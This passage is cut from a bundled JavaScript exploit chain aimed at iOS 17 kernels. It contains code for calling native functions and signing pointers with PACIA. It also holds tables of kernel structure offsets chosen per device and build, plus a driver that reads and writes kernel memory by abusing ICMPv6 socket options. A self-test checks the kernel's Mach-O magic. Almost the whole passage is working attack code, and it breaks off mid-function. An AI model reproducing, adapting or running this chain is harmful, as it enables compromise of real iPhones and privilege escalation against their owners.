{\n\t\tconsole.log(TAG, \"Testing KRW\");\n\t\tconsole.log(TAG, \"- kernelBase: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__[\"default\"].hex(this.getKernelBase()));\n\t\tconsole.log(TAG, \"- PACIA gadget: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__[\"default\"].hex(this.getPaciaGadget()));\n\t\tconsole.log(TAG, \"- Read kernel magic (4 bytes)\");\n\n\t\tlet buff = this.readBuff(this.getKernelBase(), 4);\n\t\tif (!buff) {\n\t\t\tconsole.log(TAG, \"kernel RW not working!\");\n\t\t\treturn false;\n\t\t}\n\t\tlet buff32 = new Uint32Array(buff);\n\t\tconsole.log(TAG, `- Magic: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__[\"default\"].hex(buff32[0])}`);\n\n\t\tif (buff32[0] != 0xfeedfacf) {\n\t\t\tconsole.log(TAG, \"Invalid magic!\");\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tstatic #mutexLock() {\n\t\tif (this.#mutex)\n\t\t\tNative.callSymbol(\"pthread_mutex_lock\", this.#mutex);\n\t}\n\n\tstatic #mutexUnlock() {\n\t\tif (this.#mutex)\n\t\t\tNative.callSymbol(\"pthread_mutex_unlock\", this.#mutex);\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Chain/Native.js\":\n/*!**********************************!*\\\n !*** ./src/libs/Chain/Native.js ***!\n \\**********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Native)\n/* harmony export */ });\nconst RTLD_DEFAULT = 0xFFFFFFFFFFFFFFFEn;\n\nclass Native {\n\n\t// Preallocated memory chunk for general purpose stuff for public use\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\n\t// Preallocated memory chunk for encoding/decoding of string arguments\n\tstatic #argMem = 0n;\n\n\t// Pointer to next available memory for native argument\n\tstatic #argPtr = 0n;\n\n\tstatic {\n\t\tthis.mem = this.callSymbol(\"malloc\", this.memSize);\n\t\tthis.#argMem = this.callSymbol(\"malloc\", 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t}\n\n\tstatic write(ptr, buff) {\n\t\tlet buffPtr = read64(read64(addrof(buff) + 0x10n) + 0x10n);\n\t\tthis.callSymbol(\"memcpy\", ptr, buffPtr, buff.byteLength);\n\t}\n\tstatic write32(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(4);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint32(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic read(ptr, length) {\n\t\tlet buffRes = new ArrayBuffer(length);\n\t\tlet buffPtr = read64(read64(addrof(buffRes) + 0x10n) + 0x10n);\n\t\tthis.callSymbol(\"memcpy\", buffPtr, ptr, length);\n\t\treturn buffRes;\n\t}\n\n\tstatic read8(ptr) {\n\t\tlet buff = this.read(ptr, 1);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getUint8(0);\n\t}\n\n\tstatic read16(ptr) {\n\t\tlet buff = this.read(ptr, 2);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getUint16(0, true);\n\t}\n\n\tstatic read32(ptr) {\n\t\tlet buff = this.read(ptr, 4);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getUint32(0, true);\n\t}\n\n\tstatic read64(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\n\tstatic readPtr(ptr) {\n\t\treturn this.read64(ptr);\n\t}\n\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\n\tstatic write8(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(1);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint8(0, value);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic write16(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(2);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint16(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic write32(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(4);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setUint32(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic write64(ptr, value) {\n\t\tlet buffWrite = new ArrayBuffer(8);\n\t\tconst view = new DataView(buffWrite);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buffWrite);\n\t}\n\n\tstatic writeString(ptr, str) {\n\t\t//const buff = this.stringToBytes(str, true);\n\t\t//this.write(ptr, buff);\n\t\tthis.callSymbol(\"memcpy\", ptr, str, str.length + 1);\n\t}\n\n\tstatic getCString(str) {\n\t\treturn get_cstring(str);\n\t}\n\n\tstatic #prepareArg(arg) {\n\t\tif(!arg)\n\t\t\targ = 0n;\n\t\tif(typeof(arg) === \"string\")\n\t\t\treturn get_cstring(arg);\n\t\treturn BigInt(arg);\n\t}\n\n\tstatic strip(address) {\n\t\treturn address & 0x7fffffffffn;\n\t}\n\n\tstatic pacia(address, modifier) {\n\t\taddress = Native.strip(address);\n\t\t//console.log(TAG,`address:${Utils.hex(address)}, modifier:${Utils.hex(modifier)}`);\n\t\tlet signedAddress = pacia(address, BigInt(modifier));\n\t\t//console.log(TAG,`signedAddress:${Utils.hex(signedAddress)}`);\n\t\treturn signedAddress;\n\t}\n\n\tstatic dlsym(name) {\n\t\treturn Native.callSymbol(\"dlsym\", RTLD_DEFAULT, name);\n\t}\n\n\tstatic callSymbol(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) {\n\t\tlet funcSymbol = null;\n\t\tif(name === \"dlysm\")\n\t\t\tfuncSymbol = DLSYM;\n\t\telse\n\t\t\tfuncSymbol = fcall(DLSYM,RTLD_DEFAULT,get_cstring(name));\n\t\ta0 = this.#prepareArg(a0);\n\t\ta1 = this.#prepareArg(a1);\n\t\ta2 = this.#prepareArg(a2);\n\t\ta3 = this.#prepareArg(a3);\n\t\ta4 = this.#prepareArg(a4);\n\t\ta5 = this.#prepareArg(a5);\n\t\ta6 = this.#prepareArg(a6);\n\t\ta7 = this.#prepareArg(a7);\n\t\ta8 = this.#prepareArg(a8);\n\t\ta9 = this.#prepareArg(a9);\n\t\ta10 = this.#prepareArg(a10);\n\t\ta11 = this.#prepareArg(a11);\n\t\ta12 = this.#prepareArg(a12);\n\t\ta13 = this.#prepareArg(a13);\n\t\ta14 = this.#prepareArg(a14);\n\t\ta15 = this.#prepareArg(a15);\n\t\tlet chosen_fcall = null;\n\t\tif(typeof fcall_with_pacia !== 'undefined')\n\t\t\tchosen_fcall = fcall_with_pacia;\n\t\telse\n\t\t\tchosen_fcall = fcall;\n\t\tconst ret64 = chosen_fcall(funcSymbol, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\tif (ret64 == 0xffffffffffffffffn)\n\t\t\treturn -1;\n\t\treturn ret64;\n\t}\n\n\tstatic callSymbolRetain(name, a0, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) {\n\t\treturn Native.callSymbol(name,a0,a1,a2,a3,a4,a5,a6,a7,a8, a9, a10, a11, a12, a13, a14, a15);\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i>= 8n;\n\t\t}\n\t\treturn a.buffer;\n\t}\n\tstatic gc() {\n\t}\n}\n\n// Register global Native class\nglobalThis.Native = Native;\n\n\n/***/ }),\n\n/***/ \"./src/libs/Chain/OffsetsStruct.js\":\n/*!*****************************************!*\\\n !*** ./src/libs/Chain/OffsetsStruct.js ***!\n \\*****************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ OffsetsStruct)\n/* harmony export */ });\nconst OFFSET_KERNEL_BASE = 0xfffffff007004000n\n//const OFFSET_KERNEL_TASK = 0x925770n // iOS 17.5.1 - iPhone 13/13 pro max\n//const OFFSET_KERNEL_TASK 0x91d318 // iOS 17.4.1 - iPhone 13 pro max\nconst OFFSET_KERNEL_TASK = 0x0n\nconst OFFSET_TASK_MAP = 0x28n\nconst OFFSET_TASK_NEXT = 0x30n\nconst OFFSET_TASK_PREV = 0x38n\nconst OFFSET_TASK_THREADS = 0x58n\nconst OFFSET_TASK_IPC_SPACE = 0x300n\nconst OFFSET_TASK_PROC_RO = 0x3a0n\nconst OFFSET_TASK_PROC_SIZE = 0x740n // iOS 17.5.1\nconst OFFSET_TASK_EXC_GUARD = 0x5d4n\n\nconst OFFSET_IPC_SPACE_TABLE = 0x20n\nconst OFFSET_IPC_ENTRY_OBJECT =\t0x0n\nconst OFFSET_IPC_OBJECT_KOBJECT = 0x48n\nconst OFFSET_IPC_PORT_IP_NSREQUEST = 0x58n\nconst OFFSET_IPC_PORT_IP_SORIGHTS = 0x84n\n\nconst OFFSET_PROC_PID = 0x60n\nconst OFFSET_PROC_P_COMM = 0x568n\n\nconst OFFSET_THREAD_OPTIONS = 0x70n\nconst OFFSET_THREAD_KSTACKPTR = 0xf0n\nconst OFFSET_THREAD_ROP_PID = 0x160n\nconst OFFSET_THREAD_JOP_PID = 0x168n\nconst OFFSET_THREAD_GUARD_EXC_CODE = 0x330n\nconst OFFSET_THREAD_TASK_THREADS = 0x370n\nconst OFFSET_THREAD_TRO = 0x380n\nconst OFFSET_THREAD_AST = 0x3a4n\nconst OFFSET_THREAD_MUTEX_DATA = 0x3b0n\nconst OFFSET_THREAD_CTID = 0x430n\n\nconst OFFSET_TRO_TASK = 0x20n\n\nconst OFFSET_VM_HDR_RBH_ROOT = 0x38n\nconst OFFSET_VM_RBE_LEFT = 0x0n\nconst OFFSET_VM_RBE_RIGHT = 0x8n\n\nconst OFFSET_VM_OBJECT_VOU_SIZE = 0x18n\nconst OFFSET_VM_OBJECT_REF_COUNT = 0x28n\n\nconst OFFSET_VM_NAMED_ENTRY_COPY = 0x10n\nconst OFFSET_VM_NAMED_ENTRY_NEXT = 0x20n\n\nconst OFFSET_MIG_LOCK = 0x0n;\nconst OFFSET_MIG_SBXMSG = 0x0n;\nclass OffsetsStruct\n{\n\tconstructor() {\n\t\tthis.baseKernel = OFFSET_KERNEL_BASE;\n\t\tthis.kernelTask = OFFSET_KERNEL_TASK;\n\t\tthis.T1SZ_BOOT = 17n;\n\n\t\tthis.mapTask = OFFSET_TASK_MAP;\n\t\tthis.nextTask = OFFSET_TASK_NEXT;\n\t\tthis.prevTask = OFFSET_TASK_PREV;\n\t\tthis.threads = OFFSET_TASK_THREADS;\n\t\tthis.ipcSpace = OFFSET_TASK_IPC_SPACE;\n\t\tthis.procRO = OFFSET_TASK_PROC_RO;\n\t\tthis.procSize = OFFSET_TASK_PROC_SIZE;\n\t\tthis.excGuard = OFFSET_TASK_EXC_GUARD;\n\n\t\tthis.spaceTable = OFFSET_IPC_SPACE_TABLE;\n\t\tthis.entryObject = OFFSET_IPC_ENTRY_OBJECT;\n\t\tthis.objectKObject = OFFSET_IPC_OBJECT_KOBJECT;\n\t\tthis.ipNsRequest = OFFSET_IPC_PORT_IP_NSREQUEST;\n\t\tthis.ipSorights = OFFSET_IPC_PORT_IP_SORIGHTS;\n\n\t\tthis.pid = OFFSET_PROC_PID;\n\t\tthis.pComm = OFFSET_PROC_P_COMM;\n\n\t\tthis.options = OFFSET_THREAD_OPTIONS;\n\t\tthis.kstackptr = OFFSET_THREAD_KSTACKPTR;\n\t\tthis.ropPid = OFFSET_THREAD_ROP_PID;\n\t\tthis.jopPid = OFFSET_THREAD_JOP_PID;\n\t\tthis.guardExcCode = OFFSET_THREAD_GUARD_EXC_CODE;\n\t\tthis.taskThreads = OFFSET_THREAD_TASK_THREADS;\n\t\tthis.tro = OFFSET_THREAD_TRO;\n\t\tthis.ast = OFFSET_THREAD_AST;\n\t\tthis.mutexData = OFFSET_THREAD_MUTEX_DATA;\n\t\tthis.ctid = OFFSET_THREAD_CTID;\n\n\t\tthis.troTask = OFFSET_TRO_TASK;\n\n\t\tthis.hdrRBHRoot = OFFSET_VM_HDR_RBH_ROOT;\n\t\tthis.rbeLeft = OFFSET_VM_RBE_LEFT;\n\t\tthis.rbeRight = OFFSET_VM_RBE_RIGHT;\n\n\t\tthis.vouSize = OFFSET_VM_OBJECT_VOU_SIZE;\n\t\tthis.refCount = OFFSET_VM_OBJECT_REF_COUNT;\n\n\t\tthis.backingCopy = OFFSET_VM_NAMED_ENTRY_COPY;\n\t\tthis.next = OFFSET_VM_NAMED_ENTRY_NEXT;\n\t\tthis.migLock = OFFSET_MIG_LOCK;\n\t\tthis.migSbxMsg = OFFSET_MIG_SBXMSG;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Driver/DriverNewThread.js\":\n/*!********************************************!*\\\n !*** ./src/libs/Driver/DriverNewThread.js ***!\n \\********************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ DriverNewThread)\n/* harmony export */ });\n/* harmony import */ var _Offsets__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./Offsets */ \"./src/libs/Driver/Offsets.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n\n\n\n\nconst TAG = \"DRIVER-NEWTHREAD\"\n\nconst EARLY_KRW_LENGTH = 0x20n;\nconst IPPROTO_ICMPV6 = 58n;\nconst ICMP6_FILTER = 18n;\n\nclass DriverNewThread\n{\n\t#offsets;\n\t#controlSocket;\n\t#rwSocket;\n\t#kernelBase;\n\t#paciaGadget;\n\t#tmpWriteMem;\n\n\tconstructor(controlSocket, rwSocket, kernelBase, paciaGadget=0n) {\n\t\tthis.#offsets = _Offsets__WEBPACK_IMPORTED_MODULE_0__[\"default\"].getByDeviceAndVersion();\n\t\tthis.#controlSocket = controlSocket;\n\t\tthis.#rwSocket = rwSocket;\n\t\tthis.#kernelBase = kernelBase;\n\t\tthis.#paciaGadget = paciaGadget;\n\t\tthis.#tmpWriteMem = Native.callSymbol(\"malloc\", EARLY_KRW_LENGTH);\n\n\t\tconsole.log(TAG, `Got RW context: ${this.#controlSocket}, ${this.#rwSocket}`);\n\t}\n\n\tdestroy() {\n\t\tconsole.log(TAG, \"Destroy\");\n\t\tNative.callSymbol(\"free\", this.#tmpWriteMem);\n\t\tNative.callSymbol(\"close\", this.#controlSocket);\n\t\tNative.callSymbol(\"close\", this.#rwSocket);\n\t}\n\n\tread(srcAddr, dst, len) {\n\t\t//console.log(TAG, `read(${Utils.hex(srcAddr)}, ${len})`);\n\t\tsrcAddr = this.strip(srcAddr);\n\t\tif (srcAddr < 0xffffffd000000000n) {\n\t\t\tconsole.log(TAG, `Invalid kaddr, cannot read: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(srcAddr)}`);\n\t\t\treturn false;\n\t\t}\n\t\treturn this.#kreadLength(srcAddr, dst, len);\n\t}\n\n\twrite(dst, src, len) {\n\t\tlet dstAddr = this.strip(dst);\n\t\tif (dstAddr < 0xffffffd000000000n) {\n\t\t\tconsole.log(TAG, `Invalid kaddr, cannot write: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(dstAddr)}`);\n\t\t\treturn false;\n\t\t}\n\t\treturn this.#kwriteLength(dst, src, len);\n\t}\n\n\twriteZoneElement(dst, src, len) {\n\t\tconst CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE = 0x20n;\n\n\t\tif (len < CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) {\n\t\t\tconsole.log(TAG, \"writeZoneElement supports only zone element size >= 0x20\");\n\t\t\treturn false;\n\t\t}\n\n\t\tlet write_size = 0n;\n\t\tlet write_offset = 0n;\n\n\t\tlet remaining = BigInt(len);\n\t\twhile (remaining != 0n) {\n\t\t\twrite_size = (remaining >= CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) ?\n\t\t\t\tCHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE : (remaining % CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE);\n\n\t\t\tlet kwrite_dst_addr = (dst + write_offset);\n\t\t\tlet kwrite_src_addr = (src + write_offset);\n\n\t\t\tif (write_size != CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) {\n\t\t\t\tlet adjust = (CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE - write_size);\n\t\t\t\tkwrite_dst_addr -= adjust;\n\t\t\t\tkwrite_src_addr -= adjust;\n\t\t\t}\n\t\t\tif (!this.#kwriteLength(kwrite_dst_addr,kwrite_src_addr, CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE))\n\t\t\t\treturn false;\n\t\t\tremaining -= write_size;\n\t\t\twrite_offset += write_size;\n\t\t}\n\t\treturn true;\n\t}\n\n\tstrip(val) {\n\t\t//return val & 0x7fffffffffn;\n\t\treturn val | 0xffffff8000000000n;\n\t}\n\n\toffsets() {\n\t\treturn this.#offsets;\n\t}\n\n\tgetPaciaGadget() {\n\t\treturn this.#paciaGadget;\n\t}\n\n\tgetKernelBase() {\n\t\treturn this.#kernelBase;\n\t}\n\t\n\tgetSelfTaskAddr() {\n\t\tconsole.log(TAG, `getSelfTaskAddr`);\n\n\t\tlet selfTaskKaddr = 0;\n\t\tfor (let i=0; i<5; i++)\n\t\t{\n\t\t\tselfTaskKaddr = this.#findSelfTaskKaddr(true);\n\t\t\tif (!selfTaskKaddr)\n\t\t\t{\n\t\t\t\tconsole.log(TAG, `Searching the other way around`);\n\t\t\t\tselfTaskKaddr = this.#findSelfTaskKaddr(false);\n\t\t\t}\n\t\t\telse\n\t\t\t\tbreak;\n\t\t\tNative.callSymbol(\"usleep\",20000);\n\t\t}\n\t\treturn selfTaskKaddr;\n\t}\n\n\tthreadSpawn(scriptCFString, threadMem) {\n\t\tconsole.log(TAG, \"threadSpawn() not implemented!\");\n\t\tNative.callSymbol(\"sleep\", 2);\n\t}\n\n\t#findSelfTaskKaddr(direction) {\t\n\t\tlet kernelTaskAddr = this.#kernelBase + this.#offsets.kernelTask;\n\t\tconsole.log(TAG, `baseKernel: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.#kernelBase)}, kernelTask: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(kernelTaskAddr)}`);\n\t\n\t\tlet kernelTaskVal = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(kernelTaskAddr);\n\t\t//console.log(TAG,`kernelTaskval:${Utils.hex(kernelTaskVal)}`);\n\t\tlet ourPid = Native.callSymbol(\"getpid\");\n\t\tconsole.log(TAG, `Our pid: ${ourPid}`);\n\t\n\t\tlet nextTask = 0n;\n\t\tif (direction)\n\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(kernelTaskVal + this.#offsets.nextTask);\n\t\telse\n\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(kernelTaskVal + this.#offsets.prevTask);\n\t\t//console.log(TAG, `nextTask: ${Utils.hex(nextTask)}`);\n\n\t\twhile (nextTask != 0 && nextTask != kernelTaskVal) {\n\t\t\tlet procROAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(nextTask + this.#offsets.procRO);\n\t\t\t//console.log(TAG,`procROAddr:${Utils.hex(procROAddr)}`);\n\t\t\tlet procVal = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(procROAddr);\n\t\t\t//console.log(TAG,`procVal: ${Utils.hex(procVal)}`);\n\t\t\tif (procVal && this.strip(procVal) > 0xffffffd000000000n) {\n\t\t\t\tlet pid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procVal + this.#offsets.pid);\n\t\t\t\t//console.log(TAG, `pid:${pid}`);\n\t\t\t\tif (pid == ourPid) {\n\t\t\t\t\tconsole.log(TAG, `Found our pid`);\n\t\t\t\t\treturn nextTask;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (direction)\n\t\t\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(nextTask + this.#offsets.nextTask);\n\t\t\t\telse \n\t\t\t\t\tnextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(nextTask + this.#offsets.prevTask);\n\t\t\t}\n\t\t\telse\n\t\t\t\tbreak;\n\t\t}\n\t\treturn false;\n\t}\n\n\t#kreadLength(address, buffer, size) {\n\t\t//console.log(TAG, `kread(${address.toString(16)}, ${size})`);\n\n\t\tlet remaining = BigInt(size);\n\t\tlet read_offset = 0n;\n\t\tlet read_size = 0n;\n\t\n\t\twhile (remaining != 0n) {\n\t\t\tif (remaining >= EARLY_KRW_LENGTH) {\n\t\t\t\tread_size = EARLY_KRW_LENGTH;\n\t\t\t} else {\n\t\t\t\tread_size = remaining % EARLY_KRW_LENGTH;\n\t\t\t}\n\t\t\tif (!this.#kread32Bytes(address + read_offset, buffer + read_offset, read_size))\n\t\t\t\treturn false;\n\t\t\tremaining -= read_size;\n\t\t\tread_offset += read_size;\n\t\t}\n\t\treturn true;\n\t}\n\n\t#kwriteLength(address, buffer, size) {\n\t\t//console.log(TAG, `kwrite(${address.toString(16)}, ${size})`);\n\n\t\tlet remaining = BigInt(size);\n\t\tlet write_offset = 0n;\n\t\tlet write_size = 0n;\n\t\n\t\twhile (remaining != 0n) {\n\t\t\tif (remaining >= EARLY_KRW_LENGTH) {\n\t\t\t\twrite_size = EARLY_KRW_LENGTH;\n\t\t\t} else {\n\t\t\t\twrite_size = remaining % EARLY_KRW_LENGTH;\n\t\t\t}\n\t\n\t\t\tlet kwrite_dst_addr = address + write_offset;\n\t\t\tlet kwrite_src_addr = buffer + write_offset;\n\t\n\t\t\tif (write_size != EARLY_KRW_LENGTH) {\n\t\t\t\tif (!this.#kread32Bytes(kwrite_dst_addr, this.#tmpWriteMem, EARLY_KRW_LENGTH))\n\t\t\t\t\treturn false;\n\t\t\t\tNative.callSymbol(\"memcpy\", this.#tmpWriteMem, kwrite_src_addr, write_size);\n\t\t\t\tkwrite_src_addr = this.#tmpWriteMem;\n\t\t\t}\n\t\n\t\t\tif (!this.#kwrite32Bytes(kwrite_dst_addr, kwrite_src_addr))\n\t\t\t\treturn false;\n\t\t\tremaining -= write_size;\n\t\t\twrite_offset += write_size;\n\t\t}\n\t\treturn true;\n\t}\n\n\t#kread32Bytes(kaddr, buffer, len) {\n\t\tconst tmpBuff = Native.mem + 0x1000n;\n\n\t\t// Set \"kaddr\" address\n\t\tlet buff = new BigUint64Array(4);\n\t\tbuff[0] = kaddr;\n\t\tNative.write(tmpBuff, buff.buffer);\n\t\tlet ret = Native.callSymbol(\"setsockopt\", this.#controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, tmpBuff, EARLY_KRW_LENGTH);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"setsockopt: \" + ret);\n\t\t\treturn false;\n\t\t}\n\n\t\tbuff[0] = BigInt(len);\n\t\tNative.write(tmpBuff, buff.buffer);\n\t\tret = Native.callSymbol(\"getsockopt\", this.#rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, buffer, tmpBuff);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"getsockopt failed reading \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(kaddr));\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\t#kwrite32Bytes(kaddr, buffer) {\n\t\tconst tmpBuff = Native.mem + 0x1000n;\n\n\t\t// Set \"kaddr\" address\n\t\tlet buff = new BigUint64Array(4);\n\t\tbuff[0] = kaddr;\n\t\tNative.write(tmpBuff, buff.buffer);\n\t\tlet ret = Native.callSymbol(\"setsockopt\", this.#controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, tmpBuff, EARLY_KRW_LENGTH);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"setsockopt: \" + ret);\n\t\t\treturn false;\n\t\t}\n\n\t\tret = Native.callSymbol(\"setsockopt\", this.#rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, buffer, EARLY_KRW_LENGTH);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"setsockopt failed writing \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(kaddr));\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Driver/Offsets.js\":\n/*!************************************!*\\\n !*** ./src/libs/Driver/Offsets.js ***!\n \\************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Offsets)\n/* harmony export */ });\n/* harmony import */ var libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/OffsetsStruct */ \"./src/libs/Chain/OffsetsStruct.js\");\n/* harmony import */ var _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./OffsetsTable */ \"./src/libs/Driver/OffsetsTable.js\");\n\n\n\nconst TAG = \"OFFSETS\"\n\nclass Offsets\n{\n\tstatic getByDeviceAndVersion()\n\t{\n\t\tNative.callSymbol(\"uname\", Native.mem);\n\t\tconst sysname = Native.readString(Native.mem, 0x100);\n\t\tconst nodename = Native.readString(Native.mem + 0x100n, 0x100);\n\t\tconst release = Native.readString(Native.mem + 0x200n, 0x100);\n\t\tconst version = Native.readString(Native.mem + 0x300n, 0x100);\n\t\tconst machine = Native.readString(Native.mem + 0x400n, 0x100);\n\t\tconsole.log(TAG, `release: ${release} with machine: ${machine}`);\n\n\t\tconst buildVer = this.getBuildVersion();\n\t\tconsole.log(TAG, \"Build version: \" + buildVer);\n\n\t\tlet splittedVersion = release.split(\".\");\n\t\tlet xnuMajor = splittedVersion[0];\n\t\tlet xnuMinor = splittedVersion[1];\n\n\t\tlet splittedMachine = machine.split(\",\");\n\t\tlet deviceFamily = splittedMachine[0];\n\t\tlet deviceModel = splittedMachine[1];\n\n\t\tconsole.log(TAG, \"deviceFamily: \" + deviceFamily);\n\n\t\t// Ugly hack to support 17.7, 17.7.1 and 17.7.2\n\t\tif (buildVer) {\n\t\t\tif (buildVer == \"21H16\")\n\t\t\t\txnuMinor = 6.1;\n\t\t\telse if (buildVer == \"21H216\")\n\t\t\t\txnuMinor = 6.2;\n\t\t\telse if (buildVer == \"21H221\")\n\t\t\t\txnuMinor = 6.3;\n\t\t}\n\t\t// Get offsets per device family\n\t\tlet deviceOffsets = _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__.offsets[deviceFamily];\n\t\tif (!deviceOffsets) {\n\t\t\tconsole.log(TAG, `Unsupported machine: ${machine}`);\n\t\t\treturn null;\n\t\t}\n\n\t\tlet familyOffsets = deviceOffsets[\"*\"];\n\t\tlet foundFamilyOffsets = this.#getOffsetsByVersion(familyOffsets, xnuMajor, xnuMinor);\n\n\t\tif (!foundFamilyOffsets)\n\t\t\treturn null;\n\n\t\t// Adjustments per device model\n\t\tlet modelOffsets = deviceOffsets[deviceModel];\n\t\tlet foundModelOffsets = null;\n\t\tif (modelOffsets)\n\t\t\tfoundModelOffsets = this.#getOffsetsByVersion(modelOffsets, xnuMajor, xnuMinor);\n\n\t\t// Merge family offsets and device offsets\n\t\tlet foundOffsets = new libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__[\"default\"]();\n\t\tObject.assign(foundOffsets, foundFamilyOffsets);\n\t\tif (foundModelOffsets)\n\t\t\tObject.assign(foundOffsets, foundModelOffsets);\n\n\t\tif ([\"iPhone15\", \"iPhone16\", \"iPhone17\"].includes(deviceFamily))\n\t\t\tfoundOffsets.T1SZ_BOOT = 17n;\n\t\telse\n\t\t\tfoundOffsets.T1SZ_BOOT = 25n;\n\n\t\tconsole.log(TAG, \"Offsets: \" + JSON.stringify(foundOffsets, (_,v) => typeof v === 'bigint' ? \"0x\"+v.toString(16) : v, 2));\n\n\t\treturn foundOffsets;\n\t}\n\n\tstatic #getOffsetsByVersion(offsets, xnuMajor, xnuMinor) {\n\t\tlet xnuMajorOffsets = 0;\n\t\tfor (let major in offsets) {\n\t\t\tif (xnuMajor < 